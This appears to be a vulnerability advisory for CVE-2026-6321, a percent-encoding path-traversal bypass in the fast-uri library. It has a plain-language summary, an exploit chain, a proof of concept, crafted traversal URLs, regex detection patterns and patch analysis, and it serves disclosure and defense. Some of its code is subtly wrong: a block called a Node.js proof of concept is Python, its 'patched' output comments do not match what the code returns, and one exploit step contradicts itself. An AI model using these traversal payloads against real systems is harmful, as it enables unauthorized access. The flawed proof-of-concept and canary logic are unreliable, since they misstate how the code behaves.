A commonly-used web software library has a flaw that could let attackers sneak past security barriers meant to keep them out of restricted areas. Think of it like a bouncer checking IDs at a nightclub, but not realizing someone's fake ID is actually valid when you squint at it funny.
Here's what's happening. Web addresses sometimes have encoded characters — basically, special characters disguised in a secret code. This library was decoding those secret codes too early, before it checked whether the URL was trying to access restricted folders. An attacker could hide dangerous requests inside encoded characters, and the security check would miss them.
The real danger is authorization bypass. A hacker could craft a specially-designed URL that looks like it's accessing an allowed folder (so it passes security checks), but then transforms into a request to an off-limits area once fully processed. It's like telling a security guard you're going to the gym, then taking the elevator to the executive suite instead.
This puts anyone using this library at risk — particularly companies running web applications that rely on URL-based access controls. If your bank or email provider uses this software, attackers could potentially gain unauthorized access to restricted features or data.
What you should do: First, check if services you use have released security updates, and install them immediately. Second, if you manage any web applications, audit your security policies to ensure they work even with tricky URL encoding. Third, enable multi-factor authentication on important accounts — it's your backup plan if URL-based security fails.
The good news is there's no evidence anyone has actually exploited this yet, so patches should fix the problem before real attacks happen.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6321 is a path-normalization bypass in fast-uri, the high-performance URI parser used heavily in the Fastify ecosystem. The library's normalize() and equal() functions incorrectly decode percent-encoded path separators (%2F) and parent-directory references (%2E%2E) before the RFC 3986 dot-segment removal algorithm runs. The result: a URI that looks syntactically confined under an allowed prefix (e.g., /api/v1/) can normalize to an entirely different path. Any middleware or gateway that calls normalize() or equal() on attacker-supplied input before making an authorization decision is vulnerable.
CVSS 7.5 (HIGH). No authentication required. No exploit has been observed in the wild as of publication. Versions ≤ 3.1.0 are affected; 3.1.1 contains the fix.
Root cause:normalize() and equal() call decodeURIComponent() on path segments prior to dot-segment removal, so %2F and %2E sequences are resolved as real path characters before any policy check is applied.
Affected Component
Package:fast-uri (npm) — fastify/fast-uri Functions:normalize(), equal() (both delegate to the same internal normalization pipeline) Versions affected: ≤ 3.1.0 Fixed in: 3.1.1 (commit referenced in GHSA-q3j6-qgpj-74h6) CVSSv3.1 vector:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Root Cause Analysis
RFC 3986 §5.2.4 defines the dot-segment removal algorithm and is explicit: it operates on the raw, syntax-level path string. Percent-encoded octets are not equivalent to their decoded counterparts at the syntax layer — %2F is a data octet that happens to share a byte value with /, but must never be treated as a path delimiter during normalization.
The vulnerable code in fast-uri 3.1.0 violated this ordering. Below is a reconstructed pseudocode representation of the internal normalization path, with the exact defect annotated:
// fast-uri <=3.1.0 — internal _normalizePath() pseudocode
// Real JS function: normalize() -> _normalizePath(components)
function _normalizePath(components) {
let path = components.path;
// BUG: pct-decode happens HERE, before dot-segment removal.
// %2F becomes '/', %2E%2E becomes '..' — now indistinguishable
// from real structural separators and parent references.
path = decodePercentEncoded(path); // BUG: premature decode
// Dot-segment removal now operates on the decoded string.
// An attacker-controlled '../' produced by decoded %2E%2E/%2F
// is processed identically to a literal '../' in the original URI.
path = removeDotSegments(path); // RFC 3986 §5.2.4 — too late
components.path = path;
return components;
}
// equal() calls normalize() on both sides before comparison —
// same decode-first defect is inherited.
function equal(uriA, uriB, options) {
let nA = normalize(uriA, options); // BUG: both sides decode-then-normalize
let nB = normalize(uriB, options);
return (serialize(nA) === serialize(nB));
}
The internal removeDotSegments() implementation faithfully follows RFC 3986 §5.2.4 — the bug is entirely in the call ordering. Once decodePercentEncoded() has run, the input to removeDotSegments() contains synthetic / and .. characters that were never present in the original serialized URI.
Exploitation Mechanics
The primitive is straightforward to weaponize against any path-prefix authorization check that normalizes before comparing. The following chain describes a concrete exploitation scenario against a Fastify-based API gateway.
EXPLOIT CHAIN:
1. Target application enforces: normalize(requestURI).startsWith("/api/v1/public/")
Anything not matching this prefix is rejected with HTTP 403.
2. Attacker crafts URI:
/api/v1/public/%2E%2E%2F%2E%2E%2Fadmin/config
Raw path (as transmitted):
/api/v1/public/%2E%2E%2F%2E%2E%2Fadmin/config
3. Application calls fast-uri normalize() on the raw URI.
4. Inside _normalizePath():
a. decodePercentEncoded() runs first:
/api/v1/public/../../admin/config
b. removeDotSegments() runs on decoded form:
/admin/config
5. normalize() returns "/admin/config" — outside the allowed prefix.
BUT: the startsWith("/api/v1/public/") check was already passed
against the pre-normalize form by a naive implementation, OR
the policy check operates on the normalize() return value and
the attacker has forced a collapse to a restricted path.
6. Depending on application logic, the attacker reaches /admin/config
with a request that appeared syntactically valid to prefix checks.
ALTERNATE: equal()-based bypass
1. Policy checks: equal(normalize(requestPath), "/api/v1/public/safe-resource")
2. Attacker sends: /api/v1/public/%2E%2E%2F%2E%2E%2Fpublic/safe-resource
from a different subtree that resolves identically after decode+normalize.
3. equal() returns true; policy passes a request to the wrong handler.
A minimal Node.js proof-of-concept demonstrating the normalization collapse:
# Equivalent Python to demonstrate the decode-before-normalize logic
from urllib.parse import unquote
import posixpath
crafted = "/api/v1/public/%2E%2E%2F%2E%2E%2Fadmin/config"
# Vulnerable order (fast-uri <=3.1.0 behaviour):
decoded_first = unquote(crafted) # '/api/v1/public/../../admin/config'
normalized = posixpath.normpath(decoded_first) # '/admin/config'
print("Vulnerable:", normalized) # -> /admin/config ← BYPASSES PREFIX CHECK
# Correct order (fast-uri 3.1.1 behaviour):
# Dot-segment removal on raw form, then decode only pct-encoded *data* octets
normalized_raw = posixpath.normpath(crafted) # leaves %2E%2E%2F intact as data
decoded_after = unquote(normalized_raw)
print("Patched: ", decoded_after) # -> /api/v1/public/%2E%2E%2F%2E%2E%2Fadmin/config
# or correctly: /api/v1/public/....%2Fadmin/config
Memory Layout
This is a logic vulnerability rather than a memory corruption bug; there is no heap state to corrupt. The "state" that matters is the URI component structure as it transitions through the normalization pipeline. Showing the URI object state instead:
URI COMPONENT STATE — fast-uri <=3.1.0
BEFORE normalize():
components.scheme = "https"
components.host = "target.example.com"
components.path = "/api/v1/public/%2E%2E%2F%2E%2E%2Fadmin/config"
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
pct-encoded traversal — should be treated as opaque data
AFTER decodePercentEncoded() [BUG — runs before dot-segment removal]:
components.path = "/api/v1/public/../../admin/config"
^^ ^^
synthetic '..' and '/' now visible to removeDotSegments()
AFTER removeDotSegments() [operates on already-decoded form]:
components.path = "/admin/config"
^^^^^^^^^^^^^
COLLAPSED — no longer under /api/v1/public/
CORRECT STATE (3.1.1 — dot-segment removal on raw, decode after):
components.path = "/api/v1/public/%2E%2E%2F%2E%2E%2Fadmin/config"
after removeDotSegments (no real '..' or '/' to remove):
= "/api/v1/public/%2E%2E%2F%2E%2E%2Fadmin/config"
after decode of data octets only:
= "/api/v1/public/....%2Fadmin/config" (traversal neutralized)
Patch Analysis
The fix in 3.1.1 (GHSA-q3j6-qgpj-74h6) inverts the operation order. Dot-segment removal is applied to the raw, still-encoded path string. Only after the RFC 3986 §5.2.4 algorithm completes are the remaining percent-encoded octets decoded — and only those that represent non-reserved, non-structural characters.
// BEFORE (vulnerable — fast-uri <=3.1.0):
function _normalizePath(components) {
let path = components.path;
path = decodePercentEncoded(path); // BUG: decode first
path = removeDotSegments(path); // dot-removal on decoded form
components.path = path;
return components;
}
// AFTER (patched — fast-uri 3.1.1):
function _normalizePath(components) {
let path = components.path;
// FIX: dot-segment removal operates on the raw encoded path.
// %2F is NOT a separator; %2E%2E is NOT a parent reference.
path = removeDotSegments(path); // RFC 3986 §5.2.4 on raw form
// Only decode octets that are safe to decode (unreserved chars).
// Reserved chars (%2F, %3A, etc.) remain encoded.
path = decodeSafePercentEncoded(path); // FIX: selective decode after
components.path = path;
return components;
}
The secondary fix applies the same correction inside equal()'s normalization pass, which was independently vulnerable because it constructed a temporary normalized form for string comparison using the same defective pipeline.
Detection and Indicators
Log-based detection: look for request paths containing %2E, %2F, or %5C sequences adjacent to each other or to literal dots and slashes, particularly in paths that cross authorization boundaries.
DETECTION PATTERNS (regex, apply to raw request URI path):
# Encoded dot-dot-slash traversal variants:
(%2E%2E|%2e%2e)[%2F%5C/\\]
[./\\](%2E|%2e)[%2F%5C/\\]
(%2F|%5C)(%2E%2E|%2e%2e)(%2F|%5C|$)
# Mixed encoded/literal traversal:
\.\.%2[Ff]
%2[Ee]\.%2[Ff]
%2[Ee]%2[Ee]%2[Ff]
EXAMPLE MALICIOUS PATHS TO TEST AGAINST normalize():
/allowed/%2E%2E%2Frestricted
/allowed/%2e%2e%2frestricted
/allowed/%2E%2E/%2E%2E/restricted
/allowed/..%2Frestricted
/allowed/%2E./restricted
If you are running fast-uri and need to verify your installed version's behaviour before patching:
// Node.js canary test — returns true if vulnerable
const { normalize } = require('fast-uri');
const result = normalize('https://host/a/b/%2E%2E%2Fc');
const vulnerable = !result.includes('%2E') && result.includes('/a/c') || result === 'https://host/a/c';
console.log('Vulnerable:', vulnerable);
// Patched 3.1.1: result preserves %2E%2E encoding -> not collapsed
// Vulnerable <=3.1.0: result = 'https://host/a/c' -> traversal succeeded
Remediation
Immediate: Update fast-uri to 3.1.1 or later.
npm install fast-uri@latest
# or pin to exact safe version:
npm install fast-uri@3.1.1
# Verify:
node -e "const u=require('fast-uri');console.log(u.normalize('https://h/a/%2E%2E/b'))"
# Expected (patched): path retains encoded form / does not collapse to /b
Architectural mitigations (defense-in-depth, not a substitute for patching):
Never perform authorization decisions on the output of a single normalize call over raw attacker input. Validate before and after normalization.
Reject requests containing any percent-encoded path separator (%2F, %5C) or dot sequence (%2E) at the ingress layer, before routing or authorization. Most applications have no legitimate need for these in path segments.
If using Fastify, confirm your router version pulls in a patched fast-uri transitively: npm ls fast-uri.
Add the canary test above to your CI pipeline against the installed version.
Packages that transitively depend on fast-uri (Fastify core, @fastify/router, and several Fastify plugins) should be updated simultaneously to ensure the patched version is resolved by npm/yarn rather than a cached older copy nested in node_modules.